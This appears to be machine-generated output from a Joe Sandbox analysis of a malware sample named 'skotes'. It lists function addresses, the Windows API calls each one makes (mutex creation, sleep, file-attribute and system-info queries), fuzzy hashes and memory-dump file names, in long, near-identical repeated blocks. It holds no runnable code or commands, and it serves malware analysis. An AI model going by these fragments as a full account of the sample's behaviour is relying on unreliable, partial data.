Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: 4691820d890b38e8691225aec4792fcd9119849b8b56b538880de9fcf0271556
Instruction ID: d93e9db9a1c5f25693199aff44cd4054c0a98dea26d3a776e89424d533a89bbc
Opcode Fuzzy Hash: 4691820d890b38e8691225aec4792fcd9119849b8b56b538880de9fcf0271556
Instruction Fuzzy Hash: 5031AE716102049BEB08EBB8EC8C77DB775EFC1314F644228E218DB3C1C7B949808752

Function 001FA54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FA550
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: 85a264cc10176ac4f264e85d60f1c0e3e8b25b32d592645f1fce2759ed9708f9
Instruction ID: e1a1402eed4dbaf7fc54a58dd0fb723b116103584b09096a0eef6464892dead4
Opcode Fuzzy Hash: 85a264cc10176ac4f264e85d60f1c0e3e8b25b32d592645f1fce2759ed9708f9
Instruction Fuzzy Hash: 7F314CB16102089BEB08DBB8EC9977DB762EFC5318F648228E548D73D5C77999908712

Function 001FA682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FA685
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: bae1900fb6ef19ef23aba71e165e58d97786e00d54cc717cdcae813d8e6eb5c8
Instruction ID: b433cf69f5e44179fd31c5fc0a11343f07ea88f0349fd035d6ab6f32a588acdd
Opcode Fuzzy Hash: bae1900fb6ef19ef23aba71e165e58d97786e00d54cc717cdcae813d8e6eb5c8
Instruction Fuzzy Hash: AE317DB16102089BEB08EB78DC99B7DB772EFC5324F648328E618D73D1C77A59808752

Function 001FA7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FA7BA
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: c2e5b52412debfeb57a78a584fe8251f09ebe8d20bbaddcc9c5c363a0cdb77bd
Instruction ID: ccd99c6fe100557e78d60d0f066e334ccbdda98aabde6c8f8788640e0650e507
Opcode Fuzzy Hash: c2e5b52412debfeb57a78a584fe8251f09ebe8d20bbaddcc9c5c363a0cdb77bd
Instruction Fuzzy Hash: 92316AB16102088BEB08DB78DD98B7DB772EFC5314F608228E608D73D1D77A5D818752

Function 001FA960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2%
API String ID: 1464230837-847306568
Opcode ID: 27d0b0cb27d2d41be6291b3afa285256b99381e7747fafac23c3c71e1680feea
Instruction ID: 46f3d8ae8045c5ba67035001e9382c8dc4759b68842c60101a6a65e4f41bb5f3
Opcode Fuzzy Hash: 27d0b0cb27d2d41be6291b3afa285256b99381e7747fafac23c3c71e1680feea
Instruction Fuzzy Hash: 15E086312B930096FE1077B87859B397354DFD5749F613534AB08CA1D0CAB85D508527

Function 001F8380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 001F8524

Strings

j718, xrefs: 001F83AB

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: j718
API String ID: 1721193555-3131343938
Opcode ID: 235151096b10a100bb90905fab240bcf173e5b281fb6ebdf9be580596b2334df
Instruction ID: 118aab9a90b2b4855d56bb3e781d6311835e5bc66734fb4e9e32c74c0db2a0c0
